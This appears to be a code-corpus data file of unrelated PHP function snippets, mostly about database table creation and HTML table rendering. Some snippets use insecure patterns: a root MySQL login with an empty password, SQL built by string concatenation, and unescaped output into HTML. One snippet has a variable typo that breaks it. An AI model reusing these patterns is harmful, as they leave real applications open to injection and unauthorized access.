if($cambio_mes == 1 && $mes_1 < 12 && $numeros[$k]<5)\n {\n $mes_1 = $mes_1+1;\n }\n else if( $cambio_mes == 1 && $mes_1 == 12 && $numeros[$k]<5)\n {\n $mes_1 = 1;\n $año = $año+1;\n }\n $mes_1 = str_pad($mes_1, 2, \"0\", STR_PAD_LEFT);\n $fecha = $año.\"-\".$mes_1.\"-\".$ano;\n\n //Comprobamos si la hora y la fecha coincide y sumamos 1 al contador\n if($hora['hora']==$i && $hora['fecha'] == $fecha)\n {\n $cont++;\n }\n }\n //Si el cantador sigue en 0 printamos boton ya que significa que no ha sido marcada\n if($cont ==0)\n {\n $total.= \"<button class='horario hvr-grow-shadow'>Marcar</button>\";\n }\n }\n else\n {\n $total.= \"<button class='horario hvr-grow-shadow'>Marcar</button>\";\n }\n $total .=\"<span style='display:none'>\".$numeros[$k].\" \".$i.\":00</span></td>\";\n }\n $total.=\"</tr>\";\n }\n }\n echo $total;\n }", "public function run()\n {\n DB::table('tamanhos')->delete();\n\n \\testeUDSAPI\\tamanho::create(['nome' => 'Pequena','valor' => 20,'tempo_preparo' => 15]);\n \\testeUDSAPI\\tamanho::create(['nome' => 'Média','valor' => 30,'tempo_preparo' => 20]);\n \\testeUDSAPI\\tamanho::create(['nome' => 'Grande','valor' => 40,'tempo_preparo' => 25]);\n }", "private function tbl_guiones() {\r\n\t\t\t$this->guiones = $this->esquema->createTable('GUIONES');\r\n\t\t\t$this->guiones->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID de guion'\r\n\t\t\t));\r\n\t\t\t$this->guiones->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombre de la plantilla del guion'\r\n\t\t\t));\r\n\t\t\t$this->guiones->addColumn('PLANTILLA', 'text', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => false,\r\n\t\t\t\t'comment' => 'plantilla del guion'\r\n\t\t\t));\r\n\t\t\t$this->guiones->addColumn('ESTADO', 'bigint', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Estado del Guion [ID de la tabla ESTADOS]'\r\n\t\t\t));\r\n\t\t\t$this->guiones->setPrimaryKey(array('ID'));\r\n\t\t\t$this->guiones->addForeignKeyConstraint($this->estados, array('ESTADO'), array('ID'), $this->opcForeign);\r\n\t\t}", "public function createTable(){\n\t\t\t\n\t\t$sql = \"CREATE TABLE IF NOT EXISTS `sy_color_codes` (\n\t\t`id` int(11) NOT NULL AUTO_INCREMENT,\n\t\t`name` varchar(30) NOT NULL DEFAULT '',\n\t\t`color` varchar(7) NOT NULL DEFAULT '',\n\t\t`text` varchar(7) NOT NULL DEFAULT '',\t\t\n\t\t`display_order` int(11) NOT NULL DEFAULT 0,\n\t\tPRIMARY KEY (`id`)\n\t\t);\";\n\t\t\n\t\t$pdo = $this->runRequest($sql);\n\t\t//return $pdo;\n\t\t\n\t\t// add columns if no exists\n\t\t$sql = \"SHOW COLUMNS FROM `sy_color_codes` LIKE 'text'\";\n\t\t$pdo = $this->runRequest($sql);\n\t\t$isColumn = $pdo->fetch();\n\t\tif ( $isColumn == false){\n\t\t\t$sql = \"ALTER TABLE `sy_color_codes` ADD `text` varchar(6) NOT NULL DEFAULT '#000000'\";\n\t\t\t$pdo = $this->runRequest($sql);\n\t\t}\n\t\t\n\t}", "function __construct() {\r\n\t\t\r\n\t\t$this->conexaoDB=new DB();\r\n\t\t$this->tabela=\"retirante\";\r\n\t\r\n\t}", "public function tabla()\n {\n\n \treturn Datatables::eloquent(Encargos::query())->make(true);\n }", "function dadosCadastros(){//função geral que será chamada na index\n pegaCadastrosJson();//pega os valores dos cadastros do arquivo JSON e salva em um array\n contaNumeroCadastros();//conta Quantos cadastros existem\n }", "public function createSchemaTable();", "function createTable($objSchema);", "public function initTables(): void\n {\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.Surveys');\n $this->Surveys = $table;\n\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.SurveyResults');\n $this->SurveyResults = $table;\n\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.SurveyEntries');\n $this->SurveyEntries = $table;\n\n $table = TableRegistry::getTableLocator()->get('Qobo/Survey.SurveyEntryQuestions');\n $this->SurveyEntryQuestions = $table;\n }", "function LUPE_criar_tabela_tab($prefixo, $rs, $vetCampo, $vetHidTab, $exc_tabela = '', $exc_campo = '') {\r\n\r\n echo \"<table id='tab{$prefixo}_Tabela' width='100%' border='1' cellspacing='0' cellpadding='0' vspace='0' hspace='0' class='Generica'>\\n\";\r\n echo \"<tr class='Generica'>\\n\";\r\n\r\n if (Ativo()) {\r\n echo \"<td class='Acao' width='1%' nowrap>\";\r\n echo '<a href=\"\" onclick=\"return tab'.$prefixo.'_Incluir();\" class=\"Titulo\"><img src=\"imagens/Incluir.gif\" border=\"0\" alt=\"Incluir\"></a>';\r\n echo \"</td>\\n\";\r\n }\r\n\r\n ForEach($vetCampo as $Campo => $Valor ) {\r\n echo \"<td class='Titulo'><b>\\n\";\r\n echo $Valor['nome'];\r\n echo \"</b></td>\\n\";\r\n }\r\n\r\n echo \"</tr>\\n\";\r\n\r\n if (mssql_num_rows($rs) != 0) {\r\n for ($i = 0; $i < mssql_num_rows($rs); $i++) {\r\n $row = mssql_fetch_array($rs);\r\n\r\n echo \"<tr id='tab{$prefixo}_linha{$i}' align=left>\\n\";\r\n\r\n if (Ativo()) {\r\n echo \"<td class='Acao' nowrap>\";\r\n\r\n echo '<a class=\"Registro\" href=\"\" onclick=\"return tab'.$prefixo.'_Alterar('.$i.');\"><img src=\"imagens/Alterar.gif\" border=\"0\" alt=\"Alterar\"></a>';\r\n\r\n echo '&nbsp;';\r\n\r\n echo '<a class=\"Registro\" href=\"\" onclick=\"return tab'.$prefixo.'_Excluir('.$i.');\"><img src=\"imagens/Excluir.gif\" border=\"0\" alt=\"Excluir\"></a>';\r\n\r\n if ($exc_campo == '' || $exc_tabela == '') {\r\n $exclui = 'N';\r\n } else {\r\n $sql = \"select $exc_campo from $exc_tabela where $exc_campo = \".$row[$exc_campo];\r\n if (mssql_num_rows(execsql($sql)) == 0)\r\n $exclui = 'N';\r\n else\r\n $exclui = 'E';\r\n }\r\n\r\n echo \"<input id='{$prefixo}_excluir$i' type='hidden' name='{$prefixo}_excluir[]' value='$exclui'>\\n\";\r\n\r\n ForEach($vetHidTab as $Valor)\r\n \t echo \"<input id='{$prefixo}_$Valor$i' type='hidden' name='{$prefixo}_{$Valor}[]' value='\".$row[$Valor].\"'>\\n\";\r\n\r\n echo \"</td>\\n\";\r\n }\r\n\r\n ForEach($vetCampo as $Campo => $Valor ) {\r\n echo \"<td id='{$prefixo}_cel_{$Campo}_{$i}' class='Registro'>\\n\";\r\n\r\n switch ($Valor['tipo']) {\r\n \tcase 'descDominio':\r\n if ($Valor['vetDominio'][$row[$Campo]] == '')\r\n echo $row[$Campo];\r\n else\r\n echo $Valor['vetDominio'][$row[$Campo]];\r\n \t\tbreak;\r\n\r\n default:\r\n echo $row[$Campo];\r\n \t\tbreak;\r\n }\r\n\r\n echo \"</td>\\n\";\r\n }\r\n\r\n echo\"</tr>\\n\";\r\n }\r\n }\r\n\r\n echo \"</table>\\n\";\r\n echo \"<script type='text/javascript'>\r\n tab{$prefixo}_TotLin = \".mssql_num_rows($rs).\";\r\n tab{$prefixo}_AtuLin = -1;\r\n </script>\";\r\n\r\n return 0;\r\n}", "private function initializeStorage(): void\n\t{\n\t\t$this->connection->query('\n\t\t\tCREATE TABLE IF NOT EXISTS ticket (\n\t\t\t\tid INTEGER PRIMARY KEY AUTOINCREMENT,\n\t\t\t\tclient_id TEXT NOT NULL,\n\t\t\t\tcreated TEXT,\n\t\t\t\tdeposit TEXT,\n\t\t\t\trate TEXT\t\t\t\t\n\t\t\t);\n\t\t');\n\n\t\t$this->connection->query('\n\t\t\tCREATE TABLE IF NOT EXISTS ticket_item (\n\t\t\t\tid INTEGER PRIMARY KEY AUTOINCREMENT,\n\t\t\t\tticket_id INTEGER NOT NULL,\n\t\t\t\tname TEXT,\n\t\t\t\ttip TEXT,\n\t\t\t\tstatus TEXT,\n\t\t\t\trate TEXT,\t\t\n\t\t\t\tdate_time TEXT\t\t\t\t\n\t\t\t);\n\t\t');\n\t}", "protected function createTestTables()\n {\n $db = $this->getDb();\n\n $table = 'EmailTemplateAr';\n $columns = [\n 'id' => 'pk',\n 'name' => 'string',\n 'subject' => 'string',\n 'bodyHtml' => 'text',\n ];\n $db->createCommand()->createTable($table, $columns)->execute();\n\n $columns = [\n 'name' => 'TestActiveMessage',\n 'subject' => 'test subject',\n 'bodyHtml' => 'test body HTML',\n ];\n $db->createCommand()->insert($table, $columns)->execute();\n }", "public function imprimirTabla()\r\n {\r\n try\r\n {\r\n $consulta = \"SELECT * FROM xxnombretabla\";//el nombre de la tabla\r\n $objeto = $this->PDO->prepare($consulata);\r\n $objeto->execute();\r\n $tabla = $objeto->fetchAll(PDO::FETCH_OBJ);\r\n\r\n foreach ($tabla as $fila )\r\n {\r\n $xxnombreclase = new xxnombreclase();//se instancia la clase que se esta haciendo\r\n $xxnombreclase->__SET('xid:clase', $fila->xxcampoTabla);//se llama el campo de la tabla que corresponda con el atributo de la clase\r\n $xxnombreclase->__SET('xatributo:clase',$fila->xxcampoTabla);//se repite segun los campos que hayan en la tabla\r\n\r\n $result[] = $xxnombreclase;//se mete en el arreglo result[] la varible con la clase\r\n }\r\n\r\n } catch (Exception $e) {\r\n die($e->getMessage());\r\n }\r\n\r\n return $result;//se devuelve el arreglo result\r\n }", "protected function createTables()\n {\n $tablesCreated = false;\n\n if (Craft::$app->db->schema->getTableSchema(Page::tableName()) === null) {\n $tablesCreated = true;\n $this->createTable(Page::tableName(), [\n 'id' => $this->primaryKey(),\n 'url' => $this->string(255)->notNull()->unique(),\n 'password' => $this->string(),\n 'anonymous' => $this->boolean()->defaultValue(false),\n 'startDate' => $this->dateTime(),\n 'expiryDate' => $this->dateTime(),\n\n 'dateCreated' => $this->dateTime()->notNull(),\n 'dateUpdated' => $this->dateTime()->notNull(),\n 'uid' => $this->uid(),\n ]);\n }\n\n if (Craft::$app->db->schema->getTableSchema(Comment::tableName()) === null) {\n $tablesCreated = true;\n $this->createTable(Comment::tableName(), [\n 'id' => $this->primaryKey(),\n 'pageId' => $this->integer()->notNull(),\n 'content' => $this->text()->notNull(),\n 'target' => $this->text(),\n 'name' => $this->string(100),\n\n 'dateCreated' => $this->dateTime()->notNull(),\n 'dateUpdated' => $this->dateTime()->notNull(),\n 'uid' => $this->uid(),\n ]);\n }\n\n return $tablesCreated;\n }", "private function createDBTables(){\n\t\tif (!$this['db']->getSchemaManager()->tablesExist('bookings')){\n\t\t\t$this['db']->executeQuery(\"CREATE TABLE bookings (\n\t\t\t\tid INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n\t\t\t\tfirstName VARCHAR(40) NOT NULL,\n\t\t\t\tlastName VARCHAR(40) NOT NULL,\n\t\t\t\tphone VARCHAR(10) NOT NULL,\n\t\t\t\temail VARCHAR(20) DEFAULT NULL,\n\t\t\t\tbirthday DATE NOT NULL,\n\t\t\t\tstartDate DATE NOT NULL,\n\t\t\t\tendDate DATE NOT NULL,\n\t\t\t\tarrivalTime TIME DEFAULT NULL,\n\t\t\t\tadditionalInformation TEXT,\n\t\t\t\tnrOfPeople INT NOT NULL,\n\t\t\t\tpayingMethod VARCHAR(10) NOT NULL\n\t\t\t\t);\");\n\t\t}\n\t}", "public function __Construct(){\n\t\t\t\t$this->conexao = mysqli_connect(\"127.0.0.1\",\"root\",\"\" ,\"seumadrugagames\")\n\t\t\t\tor die (\"Erro 404\");\n\t\t\t\t$this->tabela = \"vendas\";\n\t\t\t}", "protected function createTables()\n\t{\n\t\t$this->db->createTable($this->mainTable, 'name TEXT NOT NULL');\n\t\t$this->db->createTable($this->relationsTable,\n\t\t\t\t\t'child INTEGER NOT NULL, parent INTEGER NOT NULL');\n\t\treturn $this;\n\t}", "public function crearSchema(){\n $sql = \"SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0;\n SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0;\n SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='TRADITIONAL,ALLOW_INVALID_DATES';\n\n CREATE SCHEMA IF NOT EXISTS `moto_market` DEFAULT CHARACTER SET latin1 ;\n USE `moto_market` ;\n\n\n CREATE TABLE IF NOT EXISTS `moto_market`.`cilindrados` (\n `cilindrado_id` INT(11) NOT NULL,\n `cilindrado` VARCHAR(100) NOT NULL,\n PRIMARY KEY (`cilindrado_id`))\n ENGINE = InnoDB\n DEFAULT CHARACTER SET = latin1;\n\n\n CREATE TABLE IF NOT EXISTS `moto_market`.`estilos` (\n `estilos_id` INT(11) NOT NULL AUTO_INCREMENT,\n `estilo` VARCHAR(100) CHARACTER SET 'latin1' NOT NULL,\n PRIMARY KEY (`estilos_id`))\n ENGINE = InnoDB\n DEFAULT CHARACTER SET = utf8;\n\n CREATE TABLE IF NOT EXISTS `moto_market`.`marcas` (\n `marca_id` INT(11) NOT NULL AUTO_INCREMENT,\n `nombre` VARCHAR(100) NOT NULL,\n PRIMARY KEY (`marca_id`))\n ENGINE = InnoDB\n DEFAULT CHARACTER SET = latin1;\n\n CREATE TABLE IF NOT EXISTS `moto_market`.`motos` (\n `id` INT(11) NOT NULL AUTO_INCREMENT,\n `anio` DATE NOT NULL,\n `precio` INT(11) NOT NULL,\n `estilo_id` VARCHAR(45) NOT NULL,\n `cilindrado_id` VARCHAR(45) NOT NULL,\n `marca_id` VARCHAR(45) NOT NULL,\n PRIMARY KEY (`id`))\n ENGINE = InnoDB\n DEFAULT CHARACTER SET = latin1;\n\n CREATE TABLE IF NOT EXISTS `moto_market`.`usuarios` (\n `id_usuarios` INT(11) NOT NULL AUTO_INCREMENT,\n `usuario` VARCHAR(45) NOT NULL,\n `password` VARCHAR(100) NOT NULL,\n `email` VARCHAR(45) NOT NULL,\n `nombre` VARCHAR(45) NOT NULL,\n `apellido` VARCHAR(45) NOT NULL,\n `ruta_avatar` VARCHAR(100) NULL DEFAULT NULL,\n PRIMARY KEY (`id_usuarios`))\n ENGINE = InnoDB\n AUTO_INCREMENT = 0\n DEFAULT CHARACTER SET = latin1;\n\n SET SQL_MODE=@OLD_SQL_MODE;\n SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;\n SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;\";\n\n $this->db->prepare($sql)->execute();\n }", "public function __construct($tabela) {\n $this->tabela = $tabela;\n parent::__construct();\n }", "static private function create_tables(){\n require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );\n self::create_views_table();\n }", "public function initialize()\n\t{\n\t // attributes\n\t\t$this->setName('tbaluno');\n\t\t$this->setPhpName('Tbaluno');\n\t\t$this->setClassname('Tbaluno');\n\t\t$this->setPackage('lib.model');\n\t\t$this->setUseIdGenerator(true);\n\t\t$this->setPrimaryKeyMethodInfo('tbpessoa_id_pessoa_seq');\n\t\t// columns\n\t\t$this->addColumn('ID_PESSOA', 'IdPessoa', 'INTEGER', true, null, null);\n\t\t$this->addPrimaryKey('MATRICULA', 'Matricula', 'BIGINT', true, null, null);\n\t\t$this->addColumn('NOME', 'Nome', 'VARCHAR', true, 100, null);\n\t\t$this->addColumn('CELULAR', 'Celular', 'VARCHAR', false, 15, null);\n\t\t$this->addColumn('EMAIL', 'Email', 'VARCHAR', false, 100, null);\n\t\t$this->addColumn('FONE_RESIDENCIAL', 'FoneResidencial', 'VARCHAR', false, 15, null);\n\t\t$this->addColumn('FOTO', 'Foto', 'BLOB', false, null, null);\n\t\t$this->addForeignKey('ID_NECES_ESPECIAL', 'IdNecesEspecial', 'VARCHAR', 'tbnecesespecial', 'ID_NECES_ESPECIAL', true, 255, null);\n\t\t$this->addColumn('DT_NASCIMENTO', 'DtNascimento', 'DATE', true, null, null);\n\t\t$this->addForeignKey('NATURALIDADE', 'Naturalidade', 'INTEGER', 'tbcidade', 'ID_CIDADE', true, null, null);\n\t\t$this->addColumn('UF_NASCIMENTO', 'UfNascimento', 'CHAR', false, 2, null);\n\t\t$this->addForeignKey('NACIONALIDADE', 'Nacionalidade', 'INTEGER', 'tbpais', 'ID_PAIS', true, null, null);\n\t\t$this->addColumn('SEXO', 'Sexo', 'CHAR', true, 1, null);\n\t\t$this->addColumn('ESTADO_CIVIL', 'EstadoCivil', 'VARCHAR', false, 15, null);\n\t\t$this->addColumn('TITULO', 'Titulo', 'VARCHAR', false, 20, null);\n\t\t$this->addColumn('TITULO_ZONA', 'TituloZona', 'INTEGER', false, null, null);\n\t\t$this->addColumn('TITULO_SECAO', 'TituloSecao', 'INTEGER', false, null, null);\n\t\t$this->addColumn('RG', 'Rg', 'VARCHAR', true, 20, null);\n\t\t$this->addColumn('RG_DT_EXPED', 'RgDtExped', 'DATE', false, null, null);\n\t\t$this->addColumn('RG_ORG_EXPED', 'RgOrgExped', 'VARCHAR', false, 20, null);\n\t\t$this->addColumn('CPF', 'Cpf', 'VARCHAR', true, 11, null);\n\t\t$this->addColumn('RESERVISTA', 'Reservista', 'VARCHAR', false, 20, null);\n\t\t$this->addColumn('PAI', 'Pai', 'VARCHAR', false, 50, null);\n\t\t$this->addColumn('MAE', 'Mae', 'VARCHAR', false, 50, null);\n\t\t$this->addForeignKey('CEP', 'Cep', 'VARCHAR', 'tblogradouro', 'CEP', true, 9, null);\n\t\t$this->addColumn('NUMERO', 'Numero', 'VARCHAR', true, 8, null);\n\t\t$this->addColumn('COMPLEMENTO', 'Complemento', 'VARCHAR', false, 50, null);\n\t\t$this->addForeignKey('ID_VERSAO_CURSO', 'IdVersaoCurso', 'INTEGER', 'tbcursoversao', 'ID_VERSAO_CURSO', true, null, null);\n\t\t$this->addForeignKey('ID_TIPO_INGRESSO', 'IdTipoIngresso', 'INTEGER', 'tbtipoingresso', 'ID_TIPO_INGRESSO', true, null, null);\n\t\t$this->addColumn('DT_INGRESSO', 'DtIngresso', 'DATE', true, null, null);\n\t\t$this->addForeignKey('ID_SITUACAO', 'IdSituacao', 'INTEGER', 'tbalunosituacao', 'ID_SITUACAO', true, null, null);\n\t\t$this->addColumn('DT_SITUACAO', 'DtSituacao', 'DATE', false, null, null);\n\t\t$this->addForeignKey('ID_DESTINO', 'IdDestino', 'INTEGER', 'tbinstexterna', 'ID_INST_EXTERNA', false, null, null);\n\t\t$this->addForeignKey('ID_2GRAU', 'Id2grau', 'INTEGER', 'tbinstexterna', 'ID_INST_EXTERNA', false, null, null);\n\t\t$this->addColumn('ANO_CONCL_2GRAU', 'AnoConcl2grau', 'INTEGER', false, null, null);\n\t\t$this->addForeignKey('ID_3GRAU', 'Id3grau', 'INTEGER', 'tbinstexterna', 'ID_INST_EXTERNA', false, null, null);\n\t\t$this->addColumn('ANO_CONCL_3GRAU', 'AnoConcl3grau', 'INTEGER', false, null, null);\n\t\t$this->addForeignKey('ID_TRABALHO', 'IdTrabalho', 'INTEGER', 'tbinstexterna', 'ID_INST_EXTERNA', false, null, null);\n\t\t$this->addForeignKey('CEP_TRABALHO', 'CepTrabalho', 'VARCHAR', 'tblogradouro', 'CEP', false, 8, null);\n\t\t$this->addColumn('FONE_TRABALHO', 'FoneTrabalho', 'VARCHAR', false, 15, null);\n\t\t$this->addColumn('RAMAL_TRABALHO', 'RamalTrabalho', 'VARCHAR', false, 5, null);\n\t\t$this->addColumn('MEDIA_GERAL', 'MediaGeral', 'NUMERIC', false, 10, null);\n\t\t$this->addColumn('CH_ELETIVA_CURSADA', 'ChEletivaCursada', 'INTEGER', false, null, null);\n\t\t$this->addColumn('CH_ELETIVA_SOLICITADA', 'ChEletivaSolicitada', 'INTEGER', false, null, null);\n\t\t$this->addColumn('CH_OBRIG_CURSADA', 'ChObrigCursada', 'INTEGER', false, null, null);\n\t\t$this->addColumn('CH_OBRIG_SOLICITADA', 'ChObrigSolicitada', 'INTEGER', false, null, null);\n\t\t$this->addColumn('CH_TOTAL', 'ChTotal', 'INTEGER', false, null, null);\n\t\t$this->addColumn('OP_INGRESSO', 'OpIngresso', 'INTEGER', false, null, 0);\n\t\t$this->addForeignKey('ID_POLO', 'IdPolo', 'INTEGER', 'tbpolos', 'ID_POLO', true, null, 0);\n\t\t$this->addColumn('CREATED_AT', 'CreatedAt', 'DATE', false, null, null);\n\t\t$this->addColumn('UPDATED_AT', 'UpdatedAt', 'DATE', false, null, null);\n\t\t$this->addColumn('CREATED_BY', 'CreatedBy', 'VARCHAR', false, 20, null);\n\t\t$this->addColumn('UPDATED_BY', 'UpdatedBy', 'VARCHAR', false, 20, null);\n\t\t$this->addColumn('ID_ANTIGO', 'IdAntigo', 'INTEGER', false, null, null);\n\t\t$this->addForeignKey('ID_RACA', 'IdRaca', 'INTEGER', 'tbaluno_racacor', 'ID_RACA', true, null, null);\n\t\t$this->addColumn('ENADE', 'Enade', 'BOOLEAN', false, null, false);\n\t\t// validators\n\t}", "private function _set_table()\n\t{\n\t\t$dossier = $this->config->item('dossier');\n\t\tif($dossier === false)\n\t\t{\n\t\t\tlog_message('info', '\"Dossier\" params is not set');\n\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_dossier = $dossier;\n\t\t\t$this->_table = $this->_dossier . '.' . $this->_table;\n\t\t}\n\t}", "public function createTables()\r\n {\r\n // create the admin table\r\n $admin_table = new Ddl\\CreateTable('admins');\r\n $admin_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $admin_table->addColumn(new Column\\Char('username', 15));\r\n $admin_table->addColumn(new Column\\Char('password', 255));\r\n $admin_table->addColumn(new Column\\Integer('setup_ran', false, null, array('unsigned' => true)));\r\n\r\n // add the constraints\r\n $admin_table->addConstraint(new Constraint\\UniqueKey('username'));\r\n $admin_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the members table\r\n $members_table = new Ddl\\CreateTable('members');\r\n $members_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $members_table->addColumn(new Column\\Char('username', 15));\r\n $members_table->addColumn(new Column\\Char('password', 150));\r\n $members_table->addColumn(new Column\\Blob('avatar', true));\r\n $members_table->addColumn(new Column\\Boolean('new', false, null, array('unsigned' => false)));\r\n\r\n // add the constraints\r\n $members_table->addConstraint(new Constraint\\UniqueKey('username'));\r\n $members_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the profile table\r\n $profile_table = new Ddl\\CreateTable('profiles');\r\n $profile_table->addColumn(new Column\\Integer('profile_id', false, null, array('unsigned' => true)));\r\n $profile_table->addColumn(new Column\\Char('display_name', 75));\r\n $profile_table->addColumn(new Column\\Char('email_address', 75));\r\n $profile_table->addColumn(new Column\\Integer('age', false, null, array('unsigned' => true)));\r\n $profile_table->addColumn(new Column\\Char('location', 150));\r\n $profile_table->addColumn(new Column\\Text('bio'));\r\n $profile_table->addColumn(new Column\\Integer('views', false, null, array('unsigned' => false)));\r\n\r\n // add the constraints\r\n $profile_table->addConstraint(new Constraint\\UniqueKey('display_name'));\r\n $profile_table->addConstraint(new Constraint\\UniqueKey('email_address'));\r\n $profile_table->addConstraint(new Constraint\\PrimaryKey('profile_id'));\r\n\r\n\r\n // create the profile settings table\r\n $profile_settings_table = new Ddl\\CreateTable('profile_settings');\r\n $profile_settings_table->addColumn(new Column\\Integer('profile_id', false, null, array('unsigned' => true)));\r\n $profile_settings_table->addColumn(new Column\\Char('setting', 75));\r\n $profile_settings_table->addColumn(new Column\\Integer('value', false, null, array('unsigned' => false)));\r\n\r\n // add the constraints\r\n $profile_settings_table->addConstraint(new Constraint\\ForeignKey('profile_id_fk', 'profile_id', 'profiles', 'profile_id', 'cascade', 'cascade'));\r\n $profile_settings_table->addConstraint(new Constraint\\UniqueKey('setting'));\r\n $profile_settings_table->addConstraint(new Constraint\\PrimaryKey('profile_id'));\r\n\r\n\r\n // create the groups table\r\n $groups_table = new Ddl\\CreateTable('groups');\r\n $groups_table->addColumn(new Column\\Integer('id', false, null, array('unsigned' => true, 'auto_increment' => true)));\r\n $groups_table->addColumn(new Column\\Char('group_name', 100));\r\n $groups_table->addColumn(new Column\\Char('group_creator', 15));\r\n $groups_table->addColumn(new Column\\Datetime('group_created_date'));\r\n $groups_table->addColumn(new Column\\Text('group_description'));\r\n\r\n // add the constraints\r\n $groups_table->addConstraint(new Constraint\\UniqueKey('group_name'));\r\n $groups_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the group settings table\r\n $group_settings_table = new Ddl\\CreateTable('group_settings');\r\n $group_settings_table->addColumn(new Column\\Integer('group_id', false, null, array('unsigned' => true)));\r\n $group_settings_table->addColumn(new Column\\Char('setting', 75));\r\n\r\n // add the constraints\r\n $group_settings_table->addConstraint(new Constraint\\ForeignKey('group_settings_id', 'group_id', 'groups', 'id', 'cascade', 'cascade'));\r\n $group_settings_table->addConstraint(new Constraint\\PrimaryKey('group_id'));\r\n\r\n\r\n // create the group_members table\r\n $group_mems_table = new Ddl\\CreateTable('group_members');\r\n $group_mems_table->addColumn(new Column\\Integer('group_id', false, null, array('unsigned' => true)));\r\n $group_mems_table->addColumn(new Column\\Integer('member_id', false, null, array('unsigned' => true)));\r\n $group_mems_table->addColumn(new Column\\Boolean('banned', false, 0));\r\n $group_mems_table->addColumn(new Column\\Boolean('suspended', false, 0));\r\n\r\n // add the constraints\r\n $group_mems_table->addConstraint(new Constraint\\ForeignKey('group_id_fk', 'group_id', 'groups', 'id', 'cascade', 'cascade'));\r\n $group_mems_table->addConstraint(new Constraint\\ForeignKey('member_id_fk', 'member_id', 'members', 'id', 'cascade', 'cascade'));\r\n $group_mems_table->addConstraint(new Constraint\\PrimaryKey(array('group_id', 'member_id')));\r\n\r\n\r\n // create the group_admin table\r\n $group_admins_table = new Ddl\\CreateTable('group_admins');\r\n $group_admins_table->addColumn(new Column\\Integer('group_id', false, null, array('unsigned' => true)));\r\n $group_admins_table->addColumn(new Column\\Integer('user_id', false, null, array('unsigned' => true)));\r\n\r\n // add the constraints\r\n $group_admins_table->addConstraint(new Constraint\\ForeignKey('fk_group_id', 'group_id', 'groups', 'id', 'cascade', 'cascade'));\r\n $group_admins_table->addConstraint(new Constraint\\ForeignKey('fk_user_id', 'user_id', 'members', 'id', 'cascade', 'cascade'));\r\n $group_admins_table->addConstraint(new Constraint\\PrimaryKey(array('group_id', 'user_id')));\r\n\r\n\r\n // create the group_ranks table\r\n $group_ranks_table = new Ddl\\CreateTable('group_ranks');\r\n $group_ranks_table->addColumn(new Column\\Integer('group_id', false, null, array('unsigned' => true)));\r\n $group_ranks_table->addColumn(new Column\\Integer('user_id', false, null, array('unsigned' => true)));\r\n $group_ranks_table->addColumn(new Column\\Integer('rank', false, null, array('unsigned' => true)));\r\n\r\n // add the constraints\r\n $group_ranks_table->addConstraint(new Constraint\\ForeignKey('fk_group_id_rank', 'group_id', 'groups', 'id', 'cascade', 'cascade'));\r\n $group_ranks_table->addConstraint(new Constraint\\ForeignKey('fk_user_id_rank', 'user_id', 'members', 'id', 'cascade', 'cascade'));\r\n $group_ranks_table->addConstraint(new Constraint\\PrimaryKey(array('group_id', 'user_id')));\r\n\r\n\r\n // create the group members online table\r\n $group_members_online_table = new Ddl\\CreateTable('group_members_online');\r\n $group_members_online_table->addColumn(new Column\\Integer('member_id', false, null, array('unsigned' => true)));\r\n $group_members_online_table->addColumn(new Column\\Integer('group_id', false, null, array('unsigned' => true)));\r\n $group_members_online_table->addColumn(new Column\\Boolean('status', true, null, array('unsigned' => false)));\r\n\r\n // add the constraints\r\n $group_members_online_table->addConstraint(new Constraint\\ForeignKey('fk_group_user_id', 'member_id', 'group_members', 'member_id', 'cascade', 'cascade'));\r\n $group_members_online_table->addConstraint(new Constraint\\ForeignKey('fk_groups_online', 'group_id', 'groups', 'id', 'cascade', 'cascade'));\r\n $group_members_online_table->addConstraint(new Constraint\\PrimaryKey(array('member_id', 'group_id')));\r\n\r\n \r\n // create the group join requests table\r\n $group_join_requests = new Ddl\\CreateTable('group_join_requests');\r\n $group_join_requests->addColumn(new Column\\Integer('group_id', false, null, array('unsigned' => true)));\r\n $group_join_requests->addColumn(new Column\\Integer('member_id', false, null, array('unsigned' => true)));\r\n $group_join_requests->addColumn(new Column\\Text('user_data'));\r\n \r\n // add the constraints\r\n $group_join_requests->addConstraint(new Constraint\\PrimaryKey(array('group_id', 'member_id')));\r\n \r\n\r\n // create the boards table\r\n $boards_table = new Ddl\\CreateTable('boards');\r\n $boards_table->addColumn(new Column\\Integer('id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $boards_table->addColumn(new Column\\Char('board_name', 150));\r\n $boards_table->addColumn(new Column\\Text('board_moderators'));\r\n\r\n // add the constraints\r\n $boards_table->addConstraint(new Constraint\\UniqueKey('board_name'));\r\n $boards_table->addConstraint(new Constraint\\PrimaryKey('id'));\r\n\r\n\r\n // create the board messages table\r\n $boards_msg_table = new Ddl\\CreateTable('board_messages');\r\n $boards_msg_table->addColumn(new Column\\Integer('message_id', false, null, array('auto_increment' => true, 'unsigned' => true)));\r\n $boards_msg_table->addColumn(new Column\\Integer('board_id', false, null, array('unsigned' => true)));\r\n $boards_msg_table->addColumn(new 